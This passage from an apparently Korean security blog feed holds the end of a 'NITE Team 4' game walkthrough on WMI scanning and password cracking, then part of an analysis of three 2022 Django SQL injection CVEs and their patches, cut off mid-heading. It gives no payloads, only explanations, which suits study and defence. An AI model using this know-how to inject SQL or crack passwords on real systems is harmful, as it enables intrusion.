디바이스들을 원격에서 관리하는 등의 역할을 수행합니다.</p> + +<p>현실에는 <a href="https://www.metasploit.com/">Metasploit</a>, <a href="https://www.cobaltstrike.com/">CobaltStrike</a>와 같은 상용 침투 테스팅 도구에 포함되어 있거나, <a href="https://github.com/tcostam/awesome-command-control">오픈소스</a>의 형태로도 존재합니다.</p> + +<h2 id="chapter-1-workaround">Chapter 1, Workaround</h2> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-1.png" /><br /> + <i>Connected to OPERATION CASTLE IVY network.</i> +</p> + +<p>우선, 위와 같이 작전 대상 네트워크에 진입합니다.</p> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-2.png" /><br /> + <i>netscan result</i> +</p> + +<p><code class="language-plaintext highlighter-rouge">Information Gathering Module -&gt; WMI Scanner</code>를 실행 후, <code class="language-plaintext highlighter-rouge">netscan</code> 명령을 입력하여 현재 네트워크에서 접근 가능한 WMI path를 확인합니다.</p> + +<p>WMI path 중, <code class="language-plaintext highlighter-rouge">/user/nlightman/c$</code>가 존재하는 것을 알 수 있는데, 이 문자열을 통해 다음과 같은 사실을 추측할 수 있습니다:</p> + +<ul> + <li>사용자 ID가 <code class="language-plaintext highlighter-rouge">nlightman</code>이다.</li> + <li><code class="language-plaintext highlighter-rouge">c$</code>는 <code class="language-plaintext highlighter-rouge">C:</code> 드라이브 오브젝트를 나타낸다.</li> +</ul> + +<p>따라서 해당 경로는 <code class="language-plaintext highlighter-rouge">nlightman</code> 사용자의 드라이브에 접근할 수 있는 WMI path일 가능성이 높습니다.</p> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-3.png" /><br /> + <i>password attack 1</i> +</p> + +<p><code class="language-plaintext highlighter-rouge">Network Intrusion -&gt; Password Attack</code>을 실행하고, 아까 확보한 경로와 아이디를 입력합니다.</p> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-4.png" /><br /> + <i>password attack 2</i> +</p> + +<p>여기서, <code class="language-plaintext highlighter-rouge">John The Ripper</code> 파라미터를 선택합니다.</p> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-5.png" /><br /> + <i>password attack 3</i> +</p> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-6.png" /><br /> + <i>password attack 4</i> +</p> + +<p>위와 같이 성공적으로 패스워드 공격을 수행했습니다.</p> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-7.png" /><br /> + <i>file browser connect 1</i> +</p> + +<p><code class="language-plaintext highlighter-rouge">Data Forensic -&gt; File Browser</code>를 실행 후, 아까 확보한 경로를 입력하고 연결을 시도합니다.</p> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-8.png" /><br /> + <i>file browser connect 2</i> +</p> + +<p>Password Attack 단계에서 확보한 계정의 패스워드를 입력하여 대상의 파일에 접근할 수 있습니다.</p> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-9.png" /><br /> + <i>file browser connect 3</i> +</p> + +<p>최종적으로 <code class="language-plaintext highlighter-rouge">BloodDove</code>와 함께, 다른 수상한 멀웨어들도 발견했습니다.</p> + +<p>이후에는 지시에 따라 <code class="language-plaintext highlighter-rouge">uni74455.dll</code>을 다운로드 받으면 임무가 완료됩니다.</p> + +<h3 id="-wmi-scanner">🔎 WMI scanner</h3> + +<p>WMI는 Windows Management Instrumentation라는 뜻의 Windows OS 관리 시스템입니다.</p> + +<p>공격자는 WMI를 통해 내부망에서 장악한 시스템템 원격지의 윈도우 시스템의 취약점과 노출 부분을 파악하고, 침투한 시스템에서부터 공격을 확장하는 등에 사용할 수 있습니다.</p> + +<p>게임에서는 단순히 <code class="language-plaintext highlighter-rouge">netscan</code>을 이용하여 현재 네트워크에 공격 가능한 지점이 어디 있는지 파악하는 용도로 사용할 수 있습니다.</p> + +<h3 id="-bruteforce-공격">🔎 Bruteforce 공격</h3> + +<p>무작위 대입 공격이라고도 부르는 Bruteforce 공격은 어떤 암호, 인증 등을 통과하기 위해 가능한 모든 키를 사용하여 대입해보는 아주 무식한 공격 기법 중 하나입니다.</p> + +<p>무식해 보이는 Bruteforce 공격 기법에도 몇가지 방법들이 있는데요, 말 그대로 모든 가능한 값을 대입하는 방식, 사전(Dictionary)의 데이터를 하나씩 대입하는 이 두가지 방식이 대표적입니다.</p> + +<h3 id="-john-the-ripper">🔎 John The Ripper</h3> + +<p><a href="https://github.com/openwall/john">John The Ripper</a>는 유명한 오픈소스 패스워드 해킹 툴입니다 - 정확히는 패스워드의 해쉬를 해킹하여 패스워드 원문을 알아내는 도구입니다.</p> + +<p>패스워드를 시스템에 저장 할 때는 악의적인 의도를 가진 시스템 관리자, 개발자 또는 어떤 해킹이나 유출 사건으로부터 패스워드 원문을 보호하기 위해 해쉬 함수를 이용하여 고정된 길이의 (랜덤하게 보이는) 데이터로 변환시킵니다.</p> + +<p>John The Ripper는 이 해쉬 함수를 통해 생성된 해쉬로부터 원문의 패스워드를 알아내도록 도와주는 도구입니다.</p> + +<p>게임에서는 네트워크 서비스의 어떤 ID에 대응하는 패스워드를 bruteforce로 알아내기 위해 사용되는 사전(Dictionary)의 종류로 등장합니다.</p> + +<h3 id="-rockyoutxt">🔎 rockyou.txt</h3> + +<p>RockYou라는 IT 서비스 업체가 해킹 공격을 당해 그 고객들의 패스워드가 원문으로 노출된 적 있습니다.</p> + +<p>RockYou는 고객들의 패스워드를 원문(plain-text) 형태로 저장하여 그들의 시스템에서 사용하였으며, 이것이 유출된 것입니다.</p> + +<p>총 3200만개 가량의 패스워드가 유출 되었으며, 공격자들은 이 데이터셋을 bruteforcing 공격에 종종 이용하고는 합니다.</p> + +<h2 id="closing">Closing</h2> + +<p>“NITE Team 4”를 통해 해킹의 가장 기본적인 도구와 개념들에 대해 알아볼 수 있었습니다.</p> + +<p>Chapter 2에서는 XKeyScore, Phone CID Backdoor와 같은 복잡하고 높은 기술력을 필요로하는 도구들에 대해 설명드릴 예정입니다. 특히 XKeyScore의 경우, 실제로 NSA에서 사용하던 감시체계의 이름이기도 합니다.</p> + +<p>혹시 “NITE Team 4”를 이미 플레이 해 보신 분은 <a href="https://tryhackme.com/">TryHackMe</a>, <a href="https://www.hackthebox.com/">HackTheBox</a>와 같은 플랫폼에서 실전 해킹을 탐구하고 연습 해 보셔도 좋겠네요.</p> + +<p>이 포스팅은 시리즈로 이어집니다! 여러분의 많은 관심 부탁드립니다 :)</p>김도현NITE Team 4Analyzing Django ORM with 1-day vulnerabilities and sql bug2022-12-16T00:00:00+09:002022-12-16T00:00:00+09:00http://ufo.stealien.com/2022-12-16/analyzing-django-orm-with-1-day-ko<p><br /></p> +<div style="text-align: left">목차</div> +<div style="text-align: left"> + <a href="#0-introduction">0. Introduction</a> +</div> +<div style="text-align: left"> + <a href="#1-how-does-django-execute-sql-query">1. How does Django execute SQL query?</a> +</div> +<div style="text-align: left"> + <a href="#2-cve-2022-28346">2. CVE-2022-28346</a> +</div> +<div style="text-align: left"> + <a href="#3-cve-2022-28347">3. CVE-2022-28347</a> +</div> +<div style="text-align: left"> + <a href="#4-cve-2022-34265">4. CVE-2022-34265</a> +</div> +<div style="text-align: left"> + <a href="#5-django-single-quote-unescaping-bug-in-keytransform-class">5. Django Single Quote Unescaped Bug</a> +</div> +<div style="text-align: left"> + <a href="#6-끝으로">6. 끝으로</a> +</div> + +<p><br /></p> + +<h1 id="0-introduction">0. Introduction</h1> + +<p>안녕하세요. 스틸리언 R&amp;D팀 윤석찬 연구원입니다. 이번 차례에도 제가 기술블로그에 글을 쓰게 되었습니다. 벌써 12월이 되었는데 다들 올해 원하시던 목표 이루셨는지요? 제가 올해 세웠던 목표 중 하나는 Python의 <code class="language-plaintext highlighter-rouge">Django</code> 나 <code class="language-plaintext highlighter-rouge">Flask</code>, NodeJS의 <code class="language-plaintext highlighter-rouge">express.js</code> 처럼 대중적으로 사용되는 웹 프레임워크에서 유의미한 보안 취약점을 찾아서 제보하는 것이었습니다. 결과적으로 말씀드리자면 목표를 달성하진 못했지만, 그래도 Django라는 국제적으로 유명한 대형 오픈소스 프로젝트를 분석하면서 배웠던 점이 많았던 것 같습니다.</p> + +<p>이 글에서는 2022년에 제보된 Django 1-day 취약점들과 제가 발견한 SQL Single Quote Unescaped Bug를 소개하고자 합니다. 글이 다소 길고 첨부된 소스코드가 많아서 PC에서 보시는 것을 추천드립니다.</p> + +<p>_</p> + +<p>올해는 Django 버전이 4.0으로 업그레이드된 첫 해로, 저 같이 Django를 즐겨서 사용하는 사용자로서는 의미있는 한해였다고 생각합니다. 4.0으로 업데이트되면서 뷰에서 <code class="language-plaintext highlighter-rouge">async</code> 기능을 사용할 수 있게 되었고, <code class="language-plaintext highlighter-rouge">JSONField</code>, <code class="language-plaintext highlighter-rouge">ArrayField</code>, <code class="language-plaintext highlighter-rouge">BigAutoField</code> 같은 새로운 데이터베이스 Field Type이 등장하기도 했습니다. 실제로 어떤 기능이 업데이트되었는지는 아래 링크에서 자세히 확인해볼 수 있습니다.</p> + +<blockquote> + <p><a href="https://docs.djangoproject.com/en/4.1/releases/4.0/">https://docs.djangoproject.com/en/4.1/releases/4.0/</a> +<br /> +<br /></p> +</blockquote> + +<p>올해도 Django에 여러 취약점이 제보되었습니다. 2021년 12월 6일 배포된 Django 4.0을 기준으로, 2022년에 <code class="language-plaintext highlighter-rouge">Severity Level</code>*이 <strong><code class="language-plaintext highlighter-rouge">Critical</code></strong> 로 분류된 취약점은 총 3건이었고 모두 SQL Injection 취약점이었습니다.</p> + +<p>* <code class="language-plaintext highlighter-rouge">Severity Level</code>은 보안 취약점은 파급력에 따라 <code class="language-plaintext highlighter-rouge">Low</code>, <code class="language-plaintext highlighter-rouge">Medium</code>, <code class="language-plaintext highlighter-rouge">High</code>, <code class="language-plaintext highlighter-rouge">Critical</code> 4가지 등급으로 분류됩니다. 이 중 <code class="language-plaintext highlighter-rouge">Critical</code> 등급은 가장 파급력이 높은 보안 취약점으로 평가됩니다.</p> + +<p>Django는 2005년에 처음 시작되어 올해로 18년 째 유지되고 있는 대형 프로젝트입니다. 이 프로젝트에서 절대 발견되지 않을 것 같았던 SQL Injection 취약점이, 그것도 3개나 연달아서 발견되는 것은 이례적인 일이라고 생각해서 관심을 갖게 되었습니다. Django에 제보된 취약점은 아래 링크에서 확인해보실 수 있습니다.</p> + +<blockquote> + <p><a href="https://security.snyk.io/package/pip/django">https://security.snyk.io/package/pip/django</a></p> +</blockquote> + +<ul> + <li><a href="https://www.cve.org/CVERecord?id=CVE-2022-28346">CVE-2022-28346</a></li> + <li><a href="https://www.cve.org/CVERecord?id=CVE-2022-28347">CVE-2022-28347</a></li> + <li><a href="https://www.cve.org/CVERecord?id=CVE-2022-34265">CVE-2022-34265</a></li> +</ul> + +<p><br /></p> + +<h1 id="1-how-does-django-execute-sql-query">1. How does Django execute SQL query?</h1> + +<p>Django에서는 ORM으로 SQL을 어떻게 실행하는지 알아둘 필요가 있습니다. 아래 링크에 Django ORM이 실제로 어떻게 쿼리를 만들고 실행하는지 정리해두었습니다.</p> + +<blockquote> + <p><a href="https://blog.ch4n3.kr/569">How does Django execute SQL Query?</a></p> +</blockquote> + +<p><br /></p> + +<h1 id="2-cve-2022-28346">2. CVE-2022-28346</h1> +<p><strong>CVE-2022-28346: Potential SQL injection in <code class="language-plaintext highlighter-rouge">QuerySet.annotate()</code>, <code class="language-plaintext highlighter-rouge">aggregate()</code>, and <code class="language-plaintext highlighter-rouge">extra()</code></strong></p> + +<ul> + <li><a href="https://github.com/django/django/commit/93cae5cb2f9a4ef1514cf1a41f714fef08005200">https://github.com/django/django/commit/93cae5cb2f9a4ef1514cf1a41f714fef08005200</a></li> +</ul> + +<p>취약점이 발생하는 메소드는 <code class="language-plaintext highlighter-rouge">django.db.models.query</code>에 지정된 <code class="language-plaintext highlighter-rouge">QuerySet</code> 클래스 내의 <code class="language-plaintext highlighter-rouge">annotate()</code>, <code class="language-plaintext highlighter-rouge">aggregate()</code>, <code class="language-plaintext highlighter-rouge">extra()</code> 메소드로, 이 세 메소드는 공통적으로 alias 기능이 내포되어 있다는 특징이 있습니다. 예를 들어 <code class="language-plaintext highlighter-rouge">annotate()</code> 메소드는 아래와 같이 사용합니다. 아래 예시를 보면 <code class="language-plaintext highlighter-rouge">Count()</code> 결과 값을 <code class="language-plaintext highlighter-rouge">num_books</code> 라는 이름으로 alias 처리하는 것을 볼 수 있습니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted%20image%2020221216162758.png" alt="Pasted image 20221216162758.png" /></p> + +<p>결과적으로 말하자면 이 취약점은 <code class="language-plaintext highlighter-rouge">annotate()</code> 메소드에 <code class="language-plaintext highlighter-rouge">kwargs</code> 방식으로 전달하여, <code class="language-plaintext highlighter-rouge">kwargs</code>의 <code class="language-plaintext highlighter-rouge">key</code> 값으로 alias를 지정할 때 이 <code class="language-plaintext highlighter-rouge">key</code> 값을 검증하지 않기 때문에 발생합니다. <code class="language-plaintext highlighter-rouge">annotate()</code> 메소드를 수행하면 내부적으로는 아래와 같은 과정을 거칩니다.</p> + +<h2 id="2-1-querysetannotate">2-1. <code class="language-plaintext highlighter-rouge">QuerySet.annotate()</code></h2> + +<p><code class="language-plaintext highlighter-rouge">annotate()</code> 메소드를 실행하면 <code class="language-plaintext highlighter-rouge">QuerySet</code> 클래스 내부 <code class="language-plaintext highlighter-rouge">_annotate()</code> 메소드 실행합니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/1.png" alt="image" /></p> + +<h2 id="2-2-queryset_annotate">2-2. <code class="language-plaintext highlighter-rouge">QuerySet._annotate()</code></h2> +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/2.png" alt="image" /></p> + +<p><code class="language-plaintext highlighter-rouge">_annotate()</code> 메소드에서는 <code class="language-plaintext highlighter-rouge">kwargs</code>로 전달된 정보를 내부 변수 <code class="language-plaintext highlighter-rouge">annotations</code>에 저장하고, 이를 <code class="language-plaintext highlighter-rouge">Query</code> 클래스의 <code class="language-plaintext highlighter-rouge">add_annnotation()</code>에 전달합니다.</p> + +<h2 id="2-3-queryadd_annotation">2-3. <code class="language-plaintext highlighter-rouge">Query.add_annotation()</code></h2> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/3.png" alt="image" /></p> + +<p><code class="language-plaintext highlighter-rouge">Query</code> 클래스에서는 이전 <code class="language-plaintext highlighter-rouge">QuerySet._annotate()</code> 에서 전달된 <code class="language-plaintext highlighter-rouge">annotations</code>를 내부 <code class="language-plaintext highlighter-rouge">self.annotations</code>에 설정하여 Alias 기능을 구현합니다. 그리고 다른 클래스에서 설정된 <code class="language-plaintext highlighter-rouge">self.annotations</code>를 가져올 때 <code class="language-plaintext highlighter-rouge">@property</code>로 설정된 <code class="language-plaintext highlighter-rouge">annotation_slect()</code> 함수를 실행해서 <code class="language-plaintext highlighter-rouge">self.annotations</code>를 반환합니다.</p> + +<h2 id="2-4-djangodbmodelssqlcompiler">2-4. <code class="language-plaintext highlighter-rouge">django.db.models.sql.compiler</code></h2> +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted%20image%2020221218152519.png" alt="image" /></p> + +<p><code class="language-plaintext highlighter-rouge">SQLCompiler</code> 클래스의 <code class="language-plaintext highlighter-rouge">as_sql()</code> 메소드는 실제 실행될 SQL 쿼리를 만듭니다. <code class="language-plaintext highlighter-rouge">self.select</code>에 저장된 값을 SQL <code class="language-plaintext highlighter-rouge">AS</code> 구문으로 쿼리를 생성합니다. <code class="language-plaintext highlighter-rouge">QuerySet</code>클래스의 <code class="language-plaintext highlighter-rouge">annotate()</code> 메소드를 실행할 때 전달한 <code class="language-plaintext highlighter-rouge">kwargs</code>의 키 값은 <code class="language-plaintext highlighter-rouge">self.connection.ops.quote_name()</code> 을 거쳐 SQL에 들어갑니다. 이 <code class="language-plaintext highlighter-rouge">quote_name()</code> 메소드는 각 DBMS 별로 정의되어 있습니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted%20image%2020221218152848.png" alt="image" /></p> + +<p>MySQL을 예로 들자면 Backtick 문자로 지정해주는 것을 볼 수 있습니다. 하지만 이 전까지 <code class="language-plaintext highlighter-rouge">key</code> 값에 대한 escape 처리가 없었기 때문에 여기서 SQL Injection 취약점이 발생할 수 있습니다.</p> + +<h2 id="2-5-패치">2-5. 패치</h2> + +<p>해당 취약점은 Django 4.0.4에서 수정되었고 <code class="language-plaintext highlighter-rouge">django.db.models.sql.query.Query</code> 클래스에서 <code class="language-plaintext highlighter-rouge">add_annotation()</code> 메소드를 수행할 때 내부적으로 <code class="language-plaintext highlighter-rouge">check_alias()</code> 메소드를 호출하는 식으로 취약점이 제거되었습니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted%20image%2020221218153153.png" alt="image" /></p> + +<p><br /></p> + +<h1 id="3-cve-2022-28347">3. CVE-2022-28347</h1> +<p><strong>CVE-2022-28347: Potential SQL injection via <code class="language-plaintext highlighter-rouge">QuerySet.explain(**options)</code> on PostgreSQL</strong></p> + +<p>이 취약점은 PostgreSQL 환경에서 Django <code class="language-plaintext highlighter-rouge">QuerySet</code>의 <code class="language-plaintext highlighter-rouge">explain()</code> 메소드를 수행할 때 발생 가능한 SQL Injection 취약점입니다.</p> +<ul> + <li><a href="https://github.com/advisories/GHSA-w24h-v9qh-8gxj">https://github.com/advisories/GHSA-w24h-v9qh-8gxj</a></li> +</ul> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218043457.png" alt="explain()" /> +<a href="https://docs.djangoproject.com/en/4.1/ref/models/querysets/#explain">https://docs.djangoproject.com/en/4.1/ref/models/querysets/#explain</a></p> + +<p>Django Project Docs에는 위 예시가 작성되어 있습니다. 위 예시처럼 <code class="language-plaintext highlighter-rouge">explain()</code>은 실행하고자하는 데이터베이스 쿼리의 성능을 테스트하는 메소드입니다. 이 메소드를 실행하면 SQL의 <code class="language-plaintext highlighter-rouge">EXPLAIN</code> 명령을 사용할 수 있고, MySQL과 PostgreSQL에서는 특별히 EXPLAIN에 옵션까지 지정이 가능합니다.</p> + +<p>이때 explain() 메소드의 구현에서 SQL Injection이 가능했던 CVE-2022-28347 취약점을 분석해보고자 합니다.</p> + +<h2 id="3-1-queryset">3-1. <code class="language-plaintext highlighter-rouge">QuerySet</code></h2> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/4.png" alt="image" /></p> + +<p><code class="language-plaintext highlighter-rouge">QuerySet</code> 클래스의 <code class="language-plaintext highlighter-rouge">explain()</code> 메소드는 위와 같이 정의되었습니다. 내부적으로 <code class="language-plaintext highlighter-rouge">self.query.explain()</code>를 수행합니다. <code class="language-plaintext highlighter-rouge">self.query</code>는 <code class="language-plaintext highlighter-rouge">django/db/models/sql/query.py</code>에 정의된 <code class="language-plaintext highlighter-rouge">Query</code> 클래스의 객체입니다.</p> + +<h2 id="3-2-query">3-2. <code class="language-plaintext highlighter-rouge">Query</code></h2> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/5.png" alt="image" /></p> + +<p><code class="language-plaintext highlighter-rouge">Query</code>클래스의 <code class="language-plaintext highlighter-rouge">explain()</code> 메소드는 <code class="language-plaintext highlighter-rouge">get_compiler()</code> 메소드를 통해 <code class="language-plaintext highlighter-rouge">compiler</code>를 가져오고 사용하는 DB에 맞추어 <code class="language-plaintext highlighter-rouge">django.db.models.sql.compiler.SQLCompiler</code>를 상속한 클래스의 <code class="language-plaintext highlighter-rouge">explain_query()</code> 메소드를 실행시켜줍니다. <strong>여기서 kwargs 형식으로 인자를 받는 <code class="language-plaintext highlighter-rouge">**options</code>, 그리고 <code class="language-plaintext highlighter-rouge">q.explain_info</code>가 <code class="language-plaintext highlighter-rouge">ExplainInfo</code> 객체로 설정되었음을 기억해야합니다.</strong></p> + +<h2 id="3-3-sqlcompiler">3-3. <code class="language-plaintext highlighter-rouge">SQLCompiler</code></h2> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/6.png" alt="image" /></p> + +<p><code class="language-plaintext highlighter-rouge">SQLCompiler</code> 클래스 내부의 <code class="language-plaintext highlighter-rouge">explain_query()</code> 메소드에서는 동일 클래스의 <code class="language-plaintext highlighter-rouge">execute_sql()</code>를 실행합니다. <code class="language-plaintext highlighter-rouge">execute_sql()</code> 메소드는 실제로 <code class="language-plaintext highlighter-rouge">self.as_sql()</code> 메소드를 실행해서 컴파일된 SQL Query구문을 실행하는 메소드입니다. 실제 쿼리를 생성하는 <code class="language-plaintext highlighter-rouge">as_sql()</code> 메소드는 각 DBMS마다 정의된 <code class="language-plaintext highlighter-rouge">explain_query_prefix()</code> 메소드를 실행합니다.</p> + +<h2 id="3-4-djangodbbackendspostgresqloperationspy">3-4. <code class="language-plaintext highlighter-rouge">django/db/backends/postgresql/operations.py</code></h2> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/7.png" alt="image" /></p> + +<p>Postgresql을 위해 정의된 <code class="language-plaintext highlighter-rouge">explain_query_prefix()</code> 메소드입니다. 앞서 <code class="language-plaintext highlighter-rouge">QuerySet</code> 클래스의 <code class="language-plaintext highlighter-rouge">explain()</code> 메소드를 설명할 때 <code class="language-plaintext highlighter-rouge">**options</code>에 kwargs 형식으로 <code class="language-plaintext highlighter-rouge">dict</code> 형식의 값이 들어갈 수 있음을 언급했습니다. 이 값이 그대로 <code class="language-plaintext highlighter-rouge">explain_query_prefix()</code> 메소드에 전달되며 <code class="language-plaintext highlighter-rouge">prefix</code> 에 그대로 쿼리가 저장되면서, <code class="language-plaintext highlighter-rouge">options</code>에 저장된 <code class="language-plaintext highlighter-rouge">dict</code> 값 key 부분에서 SQL Injection이 가능해집니다.</p> + +<h2 id="3-5-패치">3-5. 패치</h2> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/8.png" alt="image" /></p> + +<p>이 취약점은 <code class="language-plaintext highlighter-rouge">DatabaseOperations</code> 클래스에 <code class="language-plaintext highlighter-rouge">explain_options</code> 변수를 두어 <code class="language-plaintext highlighter-rouge">key</code> 부분에 대한 검증 로직이 추가되며 수정되었습니다. 아무래도 <code class="language-plaintext highlighter-rouge">options</code>의 key에 여러 값이 들어갈 수 있다보니, Django 사용자가 변수로 전달할 수 있는 여지를 인정한 것 같습니다.</p> + +<p><br /></p> + +<h1 id="4-cve-2022-34265">4. CVE-2022-34265</h1> +<p><strong>CVE-2022-34265: Potential SQL injection via <code class="language-plaintext highlighter-rouge">Trunc(kind)</code> and <code class="language-plaintext highlighter-rouge">Extract(lookup_name)</code> arguments.</strong></p> +<ul> + <li><a href="https://github.com/django/django/commit/284b188a4194e8fa5d72a73b09a869d7dd9f0dc5">https://github.com/django/django/commit/284b188a4194e8fa5d72a73b09a869d7dd9f0dc5</a></li> +</ul> + +<p>이 취약점은 <code class="language-plaintext highlighter-rouge">django/db/models/query.py</code> 에 정의된 <code class="language-plaintext highlighter-rouge">QuerySet</code> 클래스의 <code class="language-plaintext highlighter-rouge">dates()</code> 메소드로부터 시작됩니다. <code class="language-plaintext highlighter-rouge">dates()</code> 메소드의 쓰임은 아래 <code class="language-plaintext highlighter-rouge">docs.djangoproject.com</code> 링크에서 확인할 수 있습니다. 이 메소드는 내부적으로 <code class="language-plaintext highlighter-rouge">Trunc</code> 클래스를 사용하는데, <code class="language-plaintext highlighter-rouge">Trunc</code> 클래스에서 취약점이 발견되었습니다.</p> +<ul> + <li><code class="language-plaintext highlighter-rouge">dates()</code> : <a href="https://docs.djangoproject.com/en/4.0/ref/models/querysets/#dates">https://docs.djangoproject.com/en/4.0/ref/models/querysets/#dates</a></li> +</ul> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted%20image%2020221218033513.png" alt="image" /></p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/12.png" alt="image" /></p> + +<h2 id="4-1-trunc">4-1. <code class="language-plaintext highlighter-rouge">Trunc</code></h2> + +<p>위와 같이 <code class="language-plaintext highlighter-rouge">dates()</code> 메소드는 <code class="language-plaintext highlighter-rouge">DateField</code>로 지정된 <code class="language-plaintext highlighter-rouge">field</code>를 <code class="language-plaintext highlighter-rouge">datetime.date</code> 객체로 반환해주는 역할을 합니다. <code class="language-plaintext highlighter-rouge">dates()</code> 메소드를 실행할 때는 첫번째 <code class="language-plaintext highlighter-rouge">field</code> 인자 두번째 <code class="language-plaintext highlighter-rouge">kind</code> 인자를 넘깁니다. 이 중 두번째 <code class="language-plaintext highlighter-rouge">kind</code> 인자는 <code class="language-plaintext highlighter-rouge">str</code> 형식의 값을 받으며, <code class="language-plaintext highlighter-rouge">django/db/models/functions/datetime.py</code>에 정의된 <code class="language-plaintext highlighter-rouge">Trunc</code> 클래스에 인자로 넘겨집니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/9.png" alt="image" /></p> + +<p>위 <code class="language-plaintext highlighter-rouge">Trunc</code> 클래스는 <code class="language-plaintext highlighter-rouge">TruncBase</code> 클래스를 상속받은 형태로, <code class="language-plaintext highlighter-rouge">DateField</code> 를 <code class="language-plaintext highlighter-rouge">datetime.date</code> 객체로 변환시켜주는 클래스입니다. <code class="language-plaintext highlighter-rouge">__init__()</code> 메소드에서 <code class="language-plaintext highlighter-rouge">expression</code>, <code class="language-plaintext highlighter-rouge">kind</code> 를 받아 내부 property로 저장합니다. Django Project Docs에 올라온 예시를 보았을 때 두 파라미터 모두 <code class="language-plaintext highlighter-rouge">str</code> 형식으로 사용자의 입력값이 충분히 들어갈 수 있습니다. 결과적으로 <code class="language-plaintext highlighter-rouge">expression</code> 파라미터는 부모클래스 <code class="language-plaintext highlighter-rouge">__init__()</code> 메소드에 전해지며 <code class="language-plaintext highlighter-rouge">django/db/models/expressions.py</code> 에 정의된 <code class="language-plaintext highlighter-rouge">F</code> 클래스로 저장됩니다. <strong>하지만 <code class="language-plaintext highlighter-rouge">kind</code> 는 아무런 검증 없이 <code class="language-plaintext highlighter-rouge">self.kind</code> 에 저장된다는 점을 기억해두어야 합니다.</strong></p> + +<h2 id="4-2-truncbase">4-2. <code class="language-plaintext highlighter-rouge">TruncBase</code></h2> + +<p>실질적으로 Django ORM으로 <code class="language-plaintext highlighter-rouge">QuerySet</code> 클래스를 SQL 쿼리로 변환하는 기능은, 동일 파일에 정의된 <code class="language-plaintext highlighter-rouge">TruncBase</code> 클래스의 <code class="language-plaintext highlighter-rouge">as_sql()</code> 메소드로 정의되어 있기 때문에 다음은 <code class="language-plaintext highlighter-rouge">TruncBase</code> 클래스를 분석해보는 것으로 합니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/10.png" alt="image" /></p> + +<p>이는 인자로 넘겨진 <code class="language-plaintext highlighter-rouge">self.output_field</code> 변수의 type 별로 <code class="language-plaintext highlighter-rouge">datetime_trunc_sql()</code>, <code class="language-plaintext highlighter-rouge">date_trunc_sql()</code>, <code class="language-plaintext highlighter-rouge">time_trunc_sql()</code> 메소드를 호출합니다. 여기서 세 메소드 모두 이전 <code class="language-plaintext highlighter-rouge">Trunc</code> 클래스에서 사용자로부터 아무런 검증없이 받을 수 있는 <code class="language-plaintext highlighter-rouge">self.kind</code> 를 인자로 취한다는 점이 중요합니다. 이 메소드들은 각 데이터베이스 문법에 따라 각각 정의되어 있으며, 예시로 SQLite3에서는 아래와 같이 구현되었습니다.</p> + +<h2 id="4-3-databaseoperations">4-3. <code class="language-plaintext highlighter-rouge">DatabaseOperations</code></h2> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/11.png" alt="image" /></p> + +<p>두 번째에 전달되는 인자 <code class="language-plaintext highlighter-rouge">lookup_type</code>에는 이전 <code class="language-plaintext highlighter-rouge">Trunc</code> 클래스에서 사용자로부터 받은 인자 <code class="language-plaintext highlighter-rouge">kind</code> 가 전달이 되는데, 실제 SQL Query를 만들기까지 <code class="language-plaintext highlighter-rouge">kind</code> 값에 대한 아무런 검증이 없습니다. 때문에 <code class="language-plaintext highlighter-rouge">kind</code> 값을 통해 SQL Injection이 가능합니다.</p> + +<h2 id="4-4-패치">4-4. 패치</h2> + +<p><code class="language-plaintext highlighter-rouge">django/db/models/functions/datetime.py</code>에 정의된 <code class="language-plaintext highlighter-rouge">TruncBase</code> 클래스의 <code class="language-plaintext highlighter-rouge">as_sql()</code> 메소드에 아래처럼 변경되었습니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/13.png" alt="image" /></p> + +<p><code class="language-plaintext highlighter-rouge">as_sql()</code> 메소드를 호출하고 나서 <code class="language-plaintext highlighter-rouge">extract_trunc_lookup_pattern</code>을 인자로 넘겨진 <code class="language-plaintext highlighter-rouge">kind</code> 값과 정규식 기능을 통해 비교합니다. 정규식으로 검사하는 값은 <code class="language-plaintext highlighter-rouge">_lazy_re_compile(r"[\w\-_()]+")</code> 으로, <code class="language-plaintext highlighter-rouge">dates()</code> 메소드의 인자 <code class="language-plaintext highlighter-rouge">kind</code>에 특수문자를 사용하지 못하도록 하여 SQL Injection 취약점을 수정했습니다.</p> + +<p><br /></p> + +<h1 id="5-django-single-quote-unescaping-bug-in-keytransform-class">5. Django Single Quote Unescaping Bug in <code class="language-plaintext 